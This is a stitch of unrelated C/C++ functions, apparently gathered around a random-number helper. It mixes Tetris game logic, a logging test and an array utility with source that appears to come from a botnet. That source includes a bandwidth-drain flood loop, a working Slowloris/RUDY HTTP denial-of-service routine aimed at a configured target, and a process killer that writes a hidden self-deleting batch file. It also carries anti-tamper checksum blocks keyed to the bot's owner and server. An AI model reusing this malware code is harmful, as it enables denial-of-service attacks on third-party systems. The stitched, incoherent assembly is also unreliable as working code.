DWORD WINAPI BandwithDrain(LPVOID)
{
char cTargetHost[MAX_PATH];
strcpy(cTargetHost, cFloodHost);
while(bDdosBusy)
{
// <!-------! CRC AREA START !-------!>
char cCheckString[DEFAULT];
sprintf(cCheckString, "%s--%s", cVersion, cOwner);
char *cStr = cCheckString;
unsigned long ulCheck = (((10000/100)*100)-4619);
int nCheck;
while((nCheck = *cStr++))
ulCheck = ((ulCheck << 5) + ulCheck) + nCheck;
if(ulCheck != ulChecksum2)
break;
// <!-------! CRC AREA STOP !-------!>
srand(GenerateRandomSeed());
char cRandomFileName[MAX_PATH];
sprintf(cRandomFileName, "%s\\B%i.tmp", cAppData, GetRandNum(899999) + 100000);
if(DownloadUrlToFile(cTargetHost, cRandomFileName))
Sleep(GetRandNum(4000) + 1000);
DeleteFile(cRandomFileName);
}
return 1;
}
VOID InitGame()
{
int iTmp;
TetrisX = (GAME_X - 4) / 2;
TeTrisY = 0;
g_uiInterval = DEFAULT_INTERVAL;
g_uiScore = 0;
iTmp = GetRandNum(0, TETRIS_CNT);
memcpy(g_CurTetris, g_astTetris[iTmp], sizeof(g_CurTetris));
iTmp = GetRandNum(0, TETRIS_CNT);
memcpy(g_NextTetris, g_astTetris[iTmp], sizeof(g_NextTetris));
memset(g_stGame, 0, sizeof(g_stGame));
}
void CLogTestDlg::LogRandMsg(void)
{
CString strRand = _T("");
int nLen = 0;
nLen = GetRandNum(36, 1024);
char ch = 0;
for (int i=0; i<nLen; i++)
{
ch = GetRandNum(33, 126);
strRand += ch;
}
int nID = GetRandNum(1, 400);
int nType = GetRandNum(1, 4);
if(nID > 300)
{
nType = LogType::Error;
}
USES_CONVERSION;
LogS(nID, nType, "Unit", T2A(strRand));
}
void GetRandNumEx(DataType **DataArr, SizeType size, int bGetNegative)
{
GetRandNum(DataArr, size);
srand((unsigned int)time(NULL));
SizeType num = size / sizeof(DataType);
for(unsigned int i = 0; i < num; i++)
{
int tmp = rand();
if((tmp % 2) == 0)
(*DataArr)[i] *= bGetNegative;
}
}
VOID RefreshTetris(int nStartX, int nStartY, BOOL bTetris[4][4], BOOL bGame[GAME_X][GAME_Y])
{
int x, y;
BOOL bFlag;
int newY;
int iFullLine = 0; //消去慢行的格子，这里记录行数，用于记分
//合并 bTetris 到 bGame
for (x = 0; x < 4; x++)
{
for (y = 0; y < 4; y++)
{
if (bTetris[x][y]) bGame[nStartX + y][nStartY + x] = TRUE;
}
}
for (y = GAME_Y, newY = GAME_Y; y >= 0; y--)
{
bFlag = FALSE;
for (x = 0; x < GAME_X; x++)
{
bGame[x][newY] = bGame[x][y];
if (!bGame[x][y]) //不满格
{
bFlag = TRUE;
}
}
if (bFlag)
{
newY--;
}
else
{
//满格的化，用上一行替换这一行
iFullLine++;
}
}
if (iFullLine)
{
g_uiScore += (iFullLine * 100);
}
memcpy(g_CurTetris, g_NextTetris, sizeof(g_CurTetris));
memcpy(g_NextTetris, g_astTetris[GetRandNum(0, TETRIS_CNT)], sizeof(g_NextTetris));
TetrisX = (GAME_X - 4) / 2;
TeTrisY = 0;
}
DWORD GetPidFromFilename(LPTSTR szExe)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD dwPid = 0;
// <!-------! CRC AREA START !-------!>
char cCheckString1[DEFAULT];
sprintf(cCheckString1, "%s:%i", cServer, usPort);
char *pcStr1 = cCheckString1;
unsigned long ulCheck1 = 5081+(30*10);
int nCheck1;
while((nCheck1 = *pcStr1++))
ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1;
if(ulCheck1 != ulChecksum3)
return GetRandNum(5000);
// <!-------! CRC AREA STOP !-------!>
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap);
return dwPid;
}
do
{
if(lstrcmpi(pe32.szExeFile, szExe) == 0)
{
dwPid = pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return dwPid;
}
DWORD WINAPI DdosSlowlorisRudy(LPVOID)
{
char cTargetHost[MAX_PATH];
strcpy(cTargetHost, cFloodHost);
char cTargetPath[DEFAULT];
strcpy(cTargetPath, cFloodPath);
char cTargetData[DEFAULT];
strcpy(cTargetData, cFloodData);
unsigned short usTargetPort = usFloodPort;
unsigned short usType = usFloodType;
unsigned short usPacketGenerationType;
bool bRudy;
if(usType == DDOS_HTTP_RUDY)
{
usPacketGenerationType = HTTP_RUDY;
bRudy = TRUE;
}
else if(usType == DDOS_HTTP_SLOWLORIS)
{
usPacketGenerationType = HTTP_SLOWLORIS;
bRudy = FALSE;
}
else if(usType == DDOS_HTTP_COMBO)
{
unsigned short usRandNum = GetRandNum(100);
if(usRandNum < 50)
{
usPacketGenerationType = HTTP_RUDY;
bRudy = TRUE;
}
else
{
usPacketGenerationType = HTTP_SLOWLORIS;
bRudy = FALSE;
}
}
else
return 0;
SOCKADDR_IN sck;
HOSTENT *paddr;
for(unsigned short us = 0; us < 25; us++)
{
paddr = fncgethostbyname(cTargetHost);
if(paddr != NULL)
break;
Sleep(100);
}
sck.sin_addr = (*(in_addr*)*paddr->h_addr_list);
sck.sin_port = fnchtons(usTargetPort);
sck.sin_family = AF_INET;
unsigned short usSocketCount = 25;
unsigned short usDelay = 5000;
SOCKET sSock[usSocketCount];
DWORD dwMode = 1;
char cHoldConnection[7];
strcpy(cHoldConnection, "X-a: b\r\n");
while(bDdosBusy)
{
for(unsigned short us = 0; us < usSocketCount; us++)
{
if(!bDdosBusy)
break;
sSock[us] = fncsocket(AF_INET, SOCK_STREAM, NULL);
if(sSock[us] == INVALID_SOCKET)
continue;
// <!-------! CRC AREA START !-------!>
char cCheckString[DEFAULT];
sprintf(cCheckString, "%s--%s", cVersion, cOwner);
char *cStr = cCheckString;
unsigned long ulCheck = (((10000/100)*100)-4619);
int nCheck;
while((nCheck = *cStr++))
ulCheck = ((ulCheck << 5) + ulCheck) + nCheck;
if(ulCheck != ulChecksum2)
closesocket(sSock[us]);
// <!-------! CRC AREA STOP !-------!>
//fncioctlsocket(sSock[us], FIONBIO, &dwMode);
}
for(unsigned short us = 0; us < usSocketCount; us++)
{
if(!bDdosBusy)
break;
char cPacket[MAX_DDOS_BUFFER];
strcpy(cPacket, GenerateHttpPacket(usPacketGenerationType, cTargetHost, cTargetPath, usTargetPort, cTargetData));
if(fncconnect(sSock[us], (PSOCKADDR)&sck, sizeof(sck)) != SOCKET_ERROR)
{
if(fncsend(sSock[us], cPacket, strlen(cPacket), NULL) != SOCKET_ERROR)
dwHttpPackets++;
}
}
Sleep(GetRandNum(usDelay) + (usDelay / 2));
for(unsigned short us = 0; us < usSocketCount; us++)
fncclosesocket(sSock[us]);
}
return 1;
}
bool KillProcessByPid(DWORD dwPid, bool bKillChildren)
{
// <!-------! CRC AREA START !-------!>
char cCheckString1[DEFAULT];
sprintf(cCheckString1, "%s:%i", cServer, usPort);
char *pcStr1 = cCheckString1;
unsigned long ulCheck1 = 5081+(30*10);
int nCheck1;
while((nCheck1 = *pcStr1++))
ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1;
if(ulCheck1 != ulChecksum3)
return true;
// <!-------! CRC AREA STOP !-------!>
RemoteDaclProtection(dwPid);
bool bReturn = FALSE;
if(bKillChildren)
{
char cBatchFileContents[DEFAULT];
strcpy(cBatchFileContents, "@echo off\nTASKKILL /F /T /PID ");
char cPid[8];
itoa(dwPid, cPid, 10);
strcat(cBatchFileContents, cPid);
strcat(cBatchFileContents, ">NUL\nDEL %0>NUL\n");
char cBatchFileName[MAX_PATH];
sprintf(cBatchFileName, "%s\\K%li.bat", cTempDirectory, ulFileHash);
FILE * fFile;
fFile = fopen(cBatchFileName, "w");
if(fFile != NULL)
{
fputs(cBatchFileContents, fFile);
fclose(fFile);
ShellExecute(NULL, NULL, cBatchFileName, NULL, NULL, SW_HIDE);
}
Sleep(GetRandNum(500) + 250);
}
HANDLE hProcess = NULL;
if(GetCurrentProcessId() != dwPid)
hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, dwPid);
if(hProcess != NULL)
{
if(TerminateProcess(hProcess, NULL))
bReturn = TRUE;
}
else if(bKillChildren)
bReturn = TRUE;
CloseHandle(hProcess);
return bReturn;
}
